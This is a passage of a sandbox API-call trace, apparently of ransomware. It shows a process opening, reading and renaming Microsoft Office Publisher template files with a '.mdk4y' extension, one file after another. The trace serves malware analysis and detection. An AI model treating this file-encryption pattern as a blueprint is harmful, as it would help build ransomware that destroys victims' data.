"c:\\program files\\microsoft office\\office14\\pubwiz\\resume.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.dpv.mdk4y")) returned 1 [0253.315] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.315] AreFileApisANSI () returned 1 [0253.315] GetACP () returned 0x4e4 [0253.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESUME.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RESUME.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0253.315] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854700000) returned 1 [0253.317] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x85a, lpOverlapped=0x0) returned 1 [0253.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854800000) returned 1 [0253.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832854800000) returned 1 [0253.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.mdk4y")) returned 1 [0253.320] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.320] AreFileApisANSI () returned 1 [0253.320] GetACP () returned 0x4e4 [0253.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RSPMECH.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RSPMECH.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0253.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RSPMECH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\rspmech.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855200000) returned 1 [0253.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2aa, lpOverlapped=0x0) returned 1 [0253.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855300000) returned 1 [0253.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855300000) returned 1 [0253.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RSPMECH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\rspmech.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RSPMECH.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\rspmech.poc.mdk4y")) returned 1 [0253.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.325] AreFileApisANSI () returned 1 [0253.325] GetACP () returned 0x4e4 [0253.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIDBAR98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIDBAR98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0253.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDBAR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidbar98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855800000) returned 1 [0253.328] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1075e, lpOverlapped=0x0) returned 1 [0253.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855900000) returned 1 [0253.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832855900000) returned 1 [0253.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDBAR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidbar98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDBAR98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidbar98.poc.mdk4y")) returned 1 [0253.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.333] AreFileApisANSI () returned 1 [0253.333] GetACP () returned 0x4e4 [0253.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIDEBARBB.DPV", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIDEBARBB.DPVOC", lpUsedDefaultChar=0x37df4c) returned 13 [0253.333] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832856600000) returned 1 [0253.336] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c4d9, lpOverlapped=0x0) returned 1 [0253.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832873900000) returned 1 [0253.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832873900000) returned 1 [0253.512] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv.mdk4y")) returned 1 [0253.515] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.515] AreFileApisANSI () returned 1 [0253.515] GetACP () returned 0x4e4 [0253.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIDEBARBB.POC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIDEBARBB.POC", lpUsedDefaultChar=0x37df4c) returned 13 [0253.516] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832874700000) returned 1 [0253.517] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb08a, lpOverlapped=0x0) returned 1 [0253.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832877800000) returned 1 [0253.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832877800000) returned 1 [0253.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc.mdk4y")) returned 1 [0253.553] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.553] AreFileApisANSI () returned 1 [0253.553] GetACP () returned 0x4e4 [0253.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIDEBARVERTBB.DPV", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIDEBARVERTBB.DPV", lpUsedDefaultChar=0x37df4c) returned 17 [0253.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832878600000) returned 1 [0253.556] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49e01, lpOverlapped=0x0) returned 1 [0253.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832901800000) returned 1 [0253.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832901900000) returned 1 [0253.795] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv.mdk4y")) returned 1 [0253.798] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.798] AreFileApisANSI () returned 1 [0253.798] GetACP () returned 0x4e4 [0253.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIDEBARVERTBB.POC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIDEBARVERTBB.POC", lpUsedDefaultChar=0x37df4c) returned 17 [0253.798] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832903000000) returned 1 [0253.800] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa71a, lpOverlapped=0x0) returned 1 [0253.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832910400000) returned 1 [0253.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832910400000) returned 1 [0253.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc.mdk4y")) returned 1 [0253.878] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.878] AreFileApisANSI () returned 1 [0253.878] GetACP () returned 0x4e4 [0253.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGN.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIGN.DPVERTBB.POC", lpUsedDefaultChar=0x37df4c) returned 8 [0253.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832910900000) returned 1 [0253.879] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17e95, lpOverlapped=0x0) returned 1 [0253.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832912400000) returned 1 [0253.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832912400000) returned 1 [0253.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv.mdk4y")) returned 1 [0253.898] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.898] AreFileApisANSI () returned 1 [0253.898] GetACP () returned 0x4e4 [0253.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGN.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIGN.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0253.898] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832913000000) returned 1 [0253.900] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ab4, lpOverlapped=0x0) returned 1 [0253.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832920100000) returned 1 [0253.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832920100000) returned 1 [0253.971] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.mdk4y")) returned 1 [0253.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.974] AreFileApisANSI () returned 1 [0253.974] GetACP () returned 0x4e4 [0253.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGN98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIGN98.POCTBB.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0253.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832920600000) returned 1 [0253.976] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbb82, lpOverlapped=0x0) returned 1 [0253.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832920700000) returned 1 [0253.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832920700000) returned 1 [0253.978] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc.mdk4y")) returned 1 [0253.980] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.980] AreFileApisANSI () returned 1 [0253.980] GetACP () returned 0x4e4 [0253.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGNHM.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SIGNHM.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0253.980] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832921100000) returned 1 [0253.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6d6c, lpOverlapped=0x0) returned 1 [0253.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832921300000) returned 1 [0253.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832921300000) returned 1 [0253.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc.mdk4y")) returned 1 [0253.986] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0253.986] AreFileApisANSI () returned 1 [0253.986] GetACP () returned 0x4e4 [0253.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SNIPE.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SNIPE.POCC", lpUsedDefaultChar=0x37df4c) returned 9 [0253.987] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0253.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832921900000) returned 1 [0253.989] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x760e, lpOverlapped=0x0) returned 1 [0254.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832926400000) returned 1 [0254.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832926400000) returned 1 [0254.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc.mdk4y")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.037] AreFileApisANSI () returned 1 [0254.037] GetACP () returned 0x4e4 [0254.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STORYBB.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STORYBB.DPVBB.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0254.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832926800000) returned 1 [0254.038] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f93b, lpOverlapped=0x0) returned 1 [0254.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832942300000) returned 1 [0254.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832942300000) returned 1 [0254.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv.mdk4y")) returned 1 [0254.199] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.199] AreFileApisANSI () returned 1 [0254.199] GetACP () returned 0x4e4 [0254.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STORYBB.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STORYBB.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0254.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0254.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832943100000) returned 1 [0254.201] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d36, lpOverlapped=0x0) returned 1 [0254.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832946500000) returned 1 [0254.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832946500000) returned 1 [0254.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.poc.mdk4y")) returned 1 [0254.238] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0254.238] AreFileApisANSI () returned 1 [0254.238] GetACP () returned 0x4e4 [0254.238] WideCharToMultiByte 